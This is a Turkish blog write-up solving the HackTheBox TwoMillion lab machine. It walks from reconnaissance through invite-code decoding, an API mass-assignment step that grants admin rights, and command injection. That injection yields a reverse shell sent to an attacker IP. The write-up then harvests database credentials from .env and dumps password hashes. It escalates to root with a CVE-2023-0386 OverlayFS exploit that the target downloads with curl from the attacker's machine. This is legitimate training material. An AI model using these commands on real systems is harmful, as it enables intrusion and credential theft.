Anasayfa » TwoMillion Write-Up

TwoMillion Write-Up

Giriş

Bu yazımda sizlere HackTheBox üzerinden çözdüğüm TwoMillion makinesinin çözümünü kendi bakış açımla anlatacağım.

Öncelikle makineye dair saldırı yüzeyini (attack surface) çıkartmakla başlıyorum.

Keşif ve Bilgi Toplama

Hedef sisteme yönelik Nmap çıktısı:

TwoMillion_nmap_output.txt
# Nmap 7.92 scan initiated Sat Jan 18 14:58:30 2025 as: nmap -sV -sC -Pn -T4 --top-ports 1000 -oN TwoMillion_nmap_output.txt 10.10.11.221
Nmap scan report for 10.10.11.221
Host is up (0.41s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 3e:ea:45:4b:c5:d1:6d:6f:e2:d4:d1:3b:0a:3d:a9:4f (ECDSA)
|_  256 64:cc:75:de:4a:e6:a5:b4:73:eb:3f:1b:cf:b4:e3:94 (ED25519)
80/tcp open  http    nginx
|_http-title: Did not follow redirect to http://2million.htb/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sat Jan 18 14:59:27 2025 -- 1 IP address (1 host up) scanned in 57.21 seconds

80/TCP portunda çalışan bir nginx sunucusun olduğunu ve bir domain adresine yönlendirirken hata aldığını görüyorum (“|_http-title: Did not follow redirect to http://2million.htb/”). Bu sorun, ip adresinden domaini çözümleyemediği için ortaya çıkmakta. Çözümü için /etc/hosts dosyasına hedef makine IP adresi ve domainini ekliyorum.

Bash
echo -e "10.10.11.221\t\t2million.htb" >> /etc/hosts
# -e parametresi, \t, \n gibi karakterleri etkinleştirir.

Ardından makinenin ip adresini veya domaini arattığımda web sitesi karşıma gelmekte.

Ardından site içerisinde biraz gezindikten sonra hangi subdomainler ve dizinler olduğunu keşfetmek için ilk olarak ffuf taraması gerçekleştiriyorum. Herhangi bir subdomain keşfedemedikten sonra directory keşfi yapıyorum.

Markdown

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v1.0.2
________________________________________________

 :: Method           : GET
 :: URL              : http://2million.htb/FUZZ
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200,204,301,302,307,401,403
 :: Filter           : Response size: 162
________________________________________________

home                    [Status: 302, Size: 0, Words: 1, Lines: 1]
login                   [Status: 200, Size: 3704, Words: 1365, Lines: 81]
register                [Status: 200, Size: 4527, Words: 1512, Lines: 95]
api                     [Status: 401, Size: 0, Words: 1, Lines: 1]
logout                  [Status: 302, Size: 0, Words: 1, Lines: 1]
404                     [Status: 200, Size: 1674, Words: 118, Lines: 46]
0404                    [Status: 200, Size: 1674, Words: 118, Lines: 46]
invite                  [Status: 200, Size: 3859, Words: 1363, Lines: 97]

Atak yüzeyi için öncelikli olarak inceleyeceğim alanları belirledim.

  • 2million.htb/home (302, geçici olarak yönlendirme)
  • 2million.htb/login (200, başarılı)
  • 2million.htb/register (200, başarılı)
  • 2million.htb/api (401, login işlemiyle görünebilir)
  • 2million.htb/logout (200, başarılı)
  • 2million.htb/404 (200, başarılı)
  • 2million.htb/0404 (200, başarılı)
  • 2million.htb/invite (200, başarılı)

Her bir dizini ve kaynak kodlarını detaylıca inceliyorum.

/register dizininde, “Hacklemekten çekinmeyin :)” yazan bir ifade görüyorum.

Kaynak kodlarını incelediğimde aşağıdaki gibi bir js koduyla karşılaşıyorum ve /js/inviteapi.min.js adlı bir dosyaya

Bu kısımdaki js kodunda, davet kodu doğrulaması yapıldığını görüyorum. Davet kodu girildiğinde bu AJAX isteği olarak sunucuya gidiyor. Doğrulama başarılıysa /register sayfasına yönlendiriyor.

Davet Kodu Oluşturma

Deobfuscation

Sayfaya eklenen gizli ve açık diğer js dosyalarına bakmak için Inspector dan Network kısmına bakınıyorum. Burada inviteapi.min.js içerisinde eval-based obfuscation (eval tabanlı bir obsifikasyon) şeklinde obsifike edilmiş js kodu görüyorum.

Şimdi bu kodu deobsifike edelim. Eval tabanlı ve diğer js kodunu deobsifike etmek için de4js‘i önerebilirim.

inviteapi.min.js

Sonuç alt tarafta gösteriliyor. Hadi bunu biraz inceleyelim.

inviteapi.min.js
function verifyInviteCode(code) {
    var formData = {
        "code": code
    };
    $.ajax({
        type: "POST",
        dataType: "json",
        data: formData,
        url: '/api/v1/invite/verify',
        success: function (response) {
            console.log(response)
        },
        error: function (response) {
            console.log(response)
        }
    })
}

function makeInviteCode() {
    $.ajax({
        type: "POST",
        dataType: "json",
        url: '/api/v1/invite/how/to/generate',
        success: function (response) {
            console.log(response)
        },
        error: function (response) {
            console.log(response)
        }
    })
}

Bu kod, davet kodu (invite code) doğrulama ve oluşturma işlevlerini gerçekleştiren iki JavaScript fonksiyonunu gibi görünüyor.

  • verifyInviteCode(code):Kullanıcıdan alınan code değişkeni bir JSON nesnesine atanarak, /api/v1/invite/verify URL’sine bir POST isteği gönderiyor. Daha sonra başarılı ya da başarısız olduğu konsola yazılıyor.
  • makeInviteCode(): /api/v1/invite/how/to/generate URL’sine bir POST isteği yapılıyor. Daha sonra başarılı ya da başarısız olduğu konsola yazılıyor.

Invite Code kısmına yaptığım isteği inceleyelim. /api/v1/invite/verify noktasına istekte bulunup mesaj gövdesindeki code=test girdisini kontrol ediyor gibi görünüyor.

Daha sonra bu kısma makeInviteCode() fonksiyonunda geçen /api/v1/invite/how/to/generate noktasına istek yaparak deneyeceğim.

Decrypt

“Veri şifrelenmiş … Muhtemelen şifresini çözmek için şifreleme türünü kontrol etmeliyiz…” diye bir ipucu belirtilmiş. Görünüşe göre data, ROT13 ile şifrelenmiş. Decrypt ettiğimde ise: “Davet kodunu oluşturmak için /api/v1/invite/generate adresine bir POST isteği gönderin” yazısını görüyorum.

/api/v1/invite/generate adresi bir davet kodu oluşturmam için kullanabileceğim yer olsa gerek. Bu noktaya bir POST isteği gönderdiğimde, yine şifrelenmiş bir data görüyorum.

Data, Base64 gibi görünüyor. CyberChef ile decrypt işlemi yapıyorum ve invite code’a erişebiliyorum.

Görünüşe göre davet kodları api’den base64 şeklinde çekiliyor.

Davet kodu doğruysa /invite sayfasındaki script kısmında yazdığı gibi beni /register kısmına yönlendirmesi, yanlış ise de hata vermesi gerekir.

Register ve Login

Elimdeki bu davet kodunu http://2million.htb/invite adresine yazıyorum. ve beni /register sayfasına yönlendiriyor.

Sayfada davet kodumuzun eklendiğini de gördükten sonra kayıt bilgilerini oluşturalım.

Kayıt başarılı bir şekilde oluşturulduktan sonra login işlemini yapıyorum ve Dashsboard sayfasına erişiyorum.

HackTheBox’ın ilk zamanlardaki teması gibi duruyor. Sayfaları kontrol ettikten sonra çalışan 2 yer olduğu kanısına varıyorum:

  • /home/access
  • /api (Bu kısım ffuf taramasında 401 sonucu olarak döndüğü için login sonrası başarılı şekilde çalışıyor.)

API Kontrolü

access

İlk olarak access kısmını BurpSuite ile inceleyerek başlıyorum ve Regenerate butonunun isteğini kontrol ediyorum.

Şimdi Generate butonunu kontrol edelim.

  • Regenerate, /api/v1/user/vpn/regenerate kısmına istek gönderirken
  • Generate, /api/v1/user/von/generate kısmına istek gönderiyor.

İki istekte de dönen cevaplarda .ovpn dosyasında olması gereken içerikler yer alıyor.

API

ffuf taramasında 401 sonucu olarak dönen /api kısmına login işlemi sonrası BurpSuite ile istekte bulunuyorum. Gelen cevapta /api/v1 uç noktası olduğunu görüyorum.

Yeni bir istek oluşturup /api/v1 uç noktasına istek gönderdiğimde ise user’a ait 10, admin’e ait 3 adet uç nokta olduğunu kullanılabilecek metotlarla birlikte görüyorum.

JSON
{
  "v1": {
    "user": {
      "GET": {
        "/api/v1": "Route List",
        "/api/v1/invite/how/to/generate":
        "Instructions on invite code generation",
        "/api/v1/invite/generate":
        "Generate invite code",
        "/api/v1/invite/verify":
        "Verify invite code",
        "/api/v1/user/auth":
        "Check if user is authenticated",
        "/api/v1/user/vpn/generate":
        "Generate a new VPN configuration",
        "/api/v1/user/vpn/regenerate":
        "Regenerate VPN configuration",
        "/api/v1/user/vpn/download":
        "Download OVPN file"
      },
      "POST": {
        "/api/v1/user/register": "Register a new user",
        "/api/v1/user/login": "Login with existing user"
      }
    },
    "admin": {
      "GET": {
        "/api/v1/admin/auth": "Check if user is admin"
      },
      "POST": {
        "/api/v1/admin/vpn/generate": "Generate VPN for specific user"
      },
      "PUT": {
        "/api/v1/admin/settings/update": "Update user settings"
      }
    }
  }
}

Admin API İncelemesi

Admin kısmındaki 3 uç noktayı test etmem gerekiyor.

GET

İlk olarak /api/v1/admin/auth uç noktasını GET metoduyla inceliyorum ve hata mesajı alıyorum.

POST

Ardından diğer uç noktaya, /api/v1/admin/vpn/generate noktasına POST isteği gönderiyorum ve yönetici olmadığım için 401 durum kodu cevabı alıyorum.

PUT

Son olarak /api/v1/admin/settings/update noktasına PUT isteği gönderiyorum ve 200 durum koduyla birlikte “Content-Type” ın geçersiz olduğu cevabını alıyorum.

Bu durumu çözmek için istek başlığıma Content-Type başlığı eklemeliyim. Bunun için cevapta dönen Content-Type başlığını isteğime yapıştırıyorum.

Content-Type kısmını ekledikten sonra istek gönderdiğimde bu defa eksik bir parametre olarak e-posta girmem gerektiğini öğreniyorum.

E-posta adresimi girip tekrar bir istek gönderiyorum. Burada dikkat edilmesi gereken durum; e-posta adresinizi JSON formatında yazmalısınız. Bu kısım isteğin body kısmına yazılmalı.

Şimdi ise eksik parametre olarak is_admin parametresini girmem gerektiğini öğreniyorum.

Böylelikle hesabıma admin yetkisi vermiş oluyorum. Bunu ispatlamak için aşağıdaki uç noktalara istek gönderiyorum.

1. /api/v1/user/auth

2. /api/v1/admin/auth

Şimdi User iken 401 hatası veren /api/v1/admin/vpn/generate uç noktasına yeni admin yetkimle istekte bulunarak vpn anahtarı üretiyorum. Ancak username parametresi girmem gerektiğini öğreniyorum.

Parametreyi de girdikten sonra vpn anahtarı cevap olarak bana dönüyor.

Şuan özel bir vpn dosyası oluşturmuş oldum.

Injection

Aklıma ilk gelen Code Injection zafiyeti oluyor ve bir kaç deneme sonrasında kendi komutlarımı çalıştırabileceğimi fark ediyorum.

Reverse shell almak için bir bir dinleme noktası oluşturuyorum.

nc -lnvp 8888

reverse shell komutumu http body kısmına yerleştirdikten sonra isteği gönderiyorum.

sh -i >& /dev/tcp/10.10.16.47/9001 0>&1

Çok güzel! Artık bir shell’im var.

Öncelikle sistemi tanımak için uname -a komutunu kullanıyorum. ve dizinde neler olduklarını ve hangi yetkide olduklarını görebilmek için ls -la ile dizin listeliyorum.

.env dosyaları veritabanı bağlantı bilgileri, API anahtarları gibi çoğunlukla hassas bilgiler barındırır. Bu nedenle ilk bakılması gereken yerler arasındadır.

Hatalı yapılandırma sonucu PHP dosyaları zafiyet içerebileceğinden dolayı PHP dosyalarını incelemek uygulamanın işleyişini öğrenmek ve zafiyet aramak için bakılması gereken öncelikli diğer bir yerdir.

controllers, uygulamanın iş mantığını içerirken; views, çoğunlukla kullanıcıya sunulan içerikleri barındırır.

assets, css, js, fonts, images dizinleri genellikle statik içerikler içerir. Direkt bir zafiyet bulma olasılığı düşüktür, ancak JavaScript dosyalarını incelemek bazen yararlı olabilir.

.env dosyasının içeriğini incelediğimde içerisinde veritabanı bağlantı bilgileri olduğunu görüyorum.

Bash
cat .env
DB_HOST=127.0.0.1
DB_DATABASE=htb_prod
DB_USERNAME=admin
DB_PASSWORD=SuperDuperPass123

Bu bilgilerle veritabanına bağlanmayı deniyorum ve başarılı bir şekilde bağlantı kurabiliyorum.

htb_prod adında bir veritabanı olduğunu görüyorum. Bu veritabanını seçerek tabloları listelediğimde ise invite_codes ve users tablolarının olduğunu görüyorum.

Invite_codes kısmında http://2million.htb/invite kısmına girdiğim davet kodunun olduğunu görüyorum. Şimdi sırada users tablosu var.

Bu kısımda ise admin kullanıcılarının id, username, email, password ve is_admin değerlerini görüyorum.

| id | username     | email                      | password                                                     | is_admin |
|----|--------------|----------------------------|--------------------------------------------------------------|----------|
| 11 |      TRX     | [email protected]          | $2y$10$TG6oZ3ow5UZhLlw7MDME5um7j/7Cw1o6BhY8RhHMnrr2ObU3loEMq | 1        |
| 12 | TheCyberGeek | [email protected] | $2y$10$wATidKUukcOeJRaBpYtOyekSpwkKghaNYr5pjsomZUKAd0wbzw4QK | 1        |
| 13 | Wepliep      | [email protected]        | $2y$10$g3Ai/K.Si4GUG3OAieu03OYr1h7H9rYXN9/WYwA1LKfb8Bd355.A6 | 1        |

Buradaki bilgileri not edip kayda değer başka bir bilgi var mı diye bakındıktan sonra veritabanından çıkış yapıyorum.

Veritabanı kullanıcı bilgileriyle admin bilgilerinin aynı olup olmadığını merak edip deneme yapıyorum.

Admin kullanıcısına başarılı bir şekilde geçiş yaptım. Bu tahmin ettiğim gibi veritabanı parolasıyla admin parolasının aynı olmasından kaynaklanıyor.

Dizini listelediğimde user.txt dosyasını görüyorum ve ilk flag bilgisine erişiyorum.

Bir ssh bağlantısı kurduktan sonra uname -a komutunu kullanarak sistem bilgilerine göz atıyorum. Sisteme girdiğimde ilk olarak bunu denedim. Linux Kernel 5.15.70 ile ilgili bir zafiyet varmı diye internette bakınırken dizinleri karıştırdım ve mail kısmındaki admin adlı bir dosya dikkatimi çekti. İçeriğini okuduğumda OverlayFS/FUSE ile ilgili bir sorun olduğu anlatılıyor.

Biraz bilgi topladıktan sonra Linux Kernel 5.15.70 sürümünde CVE-2023-0386 numaralı OverlayFS zafiyeti olduğunu görüyorum.

CVE-2023-0386

OverlayFS, genellikle konteyner tabanlı sistemlerde ve canlı dosya sistemlerinde kullanılıyor. Dosya sistemi türü olarak düşünebilirsiniz. Bildiğiniz gibi birden fazla dosya sistemi katmanını birleştirerek çalışıyor. CVE-2023-0386 de bu dosya sisteminin hatalı işleyişinden kaynaklanır.

Bu zafiyet, “user namespace” ile “overlayfs” dosya sisteminin bir arada kullanıldığı durumlarda ortaya çıkıyor. Saldırgan, overlayfs üzerinden dosyaları manipüle ederek, aslında erişim iznine sahip olmadığı dosyalara erişim sağlayabiliyor. Hatta bu açığı kullanarak sistemdeki hassas dosyalara (örneğin /etc/shadow) erişebilir veya bunları değiştirebiliyor. Bu da saldırganın root yetkilerini ele geçirmesine olanak tanıyor.

Privilege Escalation

Exploiti git clone olarak çekiyorum. Ve ardından .tar.gz olarak sıkıştırıyorum.

clone https://github.com/sxlmnwb/CVE-2023-0386.git
tar -czvf cve20230386.tar.gz CVE-2023-0386

ardından sıkıştırdığım dosyayı hedef sistemden çekmek için kendi makinemde bir http server açıyorum.

sudo python3 -m http.server 8888

Hedef makineden, kendi makinemde bulunan dosyayı /tmp dizinindeyken curl ile çekiyorum.

curl http://10.10.16.47:8888/cve20230386.tar.gz -o cve cve20230386.tar.gz

Ardından hedef makine içerisine çektiğim sıkıştırılmış dosyayı .tar.gz den çıkartıyorum.

tar -xf cve20230386.tar.gz

Dosyanın içerisine giriyorum ve make all komutu ile bulunduğum dizindeki tüm dosyaları derliyorum.

Ardından ardından bir terminal daha açıyorum ve ssh ile admin kullanıcısına bağlantı kuruyorum. Elimizde 2 terminal olmuş olacak ve ikisi de admin@2million:/tmp/CVE-2023-0386 olmak üzere aynı dizinde olacak.

İlk terminalimizde exploiti başlatıp, ortamı sağlayıp başarılı olması halinde tetikleme işlemini yapabilmek için aşağıdaki komutu kullanacağım.

./fuse ./ovlcap/lower ./gc

Aynı dizinde bulunan 2. terminalden ise yetki yükseltmek için gerekli komutu yazacağım.

./exp

Ardından yetki yükseltme işlemi tamamlanmış ve sistem üzerinde root kullanıcı ayrıcalıklarına sahip olacağım.

Şimdi root.txt içerisindeki flag değerimi kaydediyorum. Bu sırada thank_you.json dosyası dikkatimi çekiyor incelediğimde şifreleme türüyle birlikte şifrelenmiş bir veri karşıma çıkıyor.

{"encoding": "url", "data": "%7B%22encoding%22:%20%22hex%22,%20%22data%22:%20%227b22656e6372797074696f6e223a2022786f72222c2022656e6372707974696f6e5f6b6579223a20224861636b546865426f78222c2022656e636f64696e67223a2022626173653634222c202264617461223a20224441514347585167424345454c43414549515173534359744168553944776f664c5552765344676461414152446e51634454414746435145423073674230556a4152596e464130494d556745596749584a51514e487a7364466d494345535145454238374267426942685a6f4468595a6441494b4e7830574c526844487a73504144594848547050517a7739484131694268556c424130594d5567504c525a594b513848537a4d614244594744443046426b6430487742694442306b4241455a4e527741596873514c554543434477424144514b4653305046307337446b557743686b7243516f464d306858596749524a41304b424470494679634347546f4b41676b344455553348423036456b4a4c4141414d4d5538524a674952446a41424279344b574334454168393048776f334178786f44777766644141454e4170594b67514742585159436a456345536f4e426b736a41524571414130385151594b4e774246497745636141515644695952525330424857674f42557374427842735a58494f457777476442774e4a30384f4c524d61537a594e4169734246694550424564304941516842437767424345454c45674e497878594b6751474258514b45437344444767554577513653424571436c6771424138434d5135464e67635a50454549425473664353634c4879314245414d31476777734346526f416777484f416b484c52305a5041674d425868494243774c574341414451386e52516f73547830774551595a5051304c495170594b524d47537a49644379594f4653305046776f345342457454776774457841454f676b4a596734574c4545544754734f414445634553635041676430447863744741776754304d2f4f7738414e6763644f6b31444844464944534d5a48576748444267674452636e4331677044304d4f4f68344d4d4141574a51514e48335166445363644857674944515537486751324268636d515263444a6745544a7878594b5138485379634444433444433267414551353041416f734368786d5153594b4e7742464951635a4a41304742544d4e525345414654674e4268387844456c6943686b7243554d474e51734e4b7745646141494d425355644144414b48475242416755775341413043676f78515241415051514a59674d644b524d4e446a424944534d635743734f4452386d4151633347783073515263456442774e4a3038624a773050446a63634444514b57434550467734344241776c4368597242454d6650416b5259676b4e4c51305153794141444446504469454445516f36484555684142556c464130434942464c534755734a304547436a634152534d42484767454651346d45555576436855714242464c4f7735464e67636461436b434344383844536374467a424241415135425241734267777854554d6650416b4c4b5538424a785244445473615253414b4553594751777030474151774731676e42304d6650414557596759574b784d47447a304b435364504569635545515578455574694e68633945304d494f7759524d4159615052554b42446f6252536f4f4469314245414d314741416d5477776742454d644d526f6359676b5a4b684d4b4348514841324941445470424577633148414d744852566f414130506441454c4d5238524f67514853794562525459415743734f445238394268416a4178517851516f464f676354497873646141414e4433514e4579304444693150517a777853415177436c67684441344f4f6873414c685a594f424d4d486a424943695250447941414630736a4455557144673474515149494e7763494d674d524f776b47443351634369554b44434145455564304351736d547738745151594b4d7730584c685a594b513858416a634246534d62485767564377353043776f334151776b424241596441554d4c676f4c5041344e44696449484363625744774f51776737425142735a5849414242454f637874464e67425950416b47537a6f4e48545a504779414145783878476b6c694742417445775a4c497731464e5159554a45454142446f6344437761485767564445736b485259715477776742454d4a4f78304c4a67344b49515151537a734f525345574769305445413433485263724777466b51516f464a78674d4d41705950416b47537a6f4e48545a504879305042686b31484177744156676e42304d4f4941414d4951345561416b434344384e467a464457436b50423073334767416a4778316f41454d634f786f4a4a6b385049415152446e514443793059464330464241353041525a69446873724242415950516f4a4a30384d4a304543427a6847623067344554774a517738784452556e4841786f4268454b494145524e7773645a477470507a774e52516f4f47794d3143773457427831694f78307044413d3d227d%22%7D"}

Her adımı tamamlayıp CyberChef kullanarak Decrypt işlemini gerçekleştirdikten sonra HackTheBox Tarafından yazılmış bir mesajla karşılaşıyorum.

Diğer yazılarıma ulaşmak için buraya tıklayabilir, merak ettiğiniz ve anlamadığınız kısımlar için bana ulaşabilirsiniz.

Erkan Çekiç

Merhaba. Henüz çocukluk dönemimde yanmaya başlayan siber güvenlik ateşini lise ve üniversite dönemlerinde de harlayan, zamanının büyük bir bölümünü çalışmak ve bir şeyler üretmek üzerine kullanan biriyim.

More Reading

Post navigation

Leave a Comment

Bir yanıt yazın

E-posta adresiniz yayınlanmayacak. Gerekli alanlar * ile işaretlenmişlerdir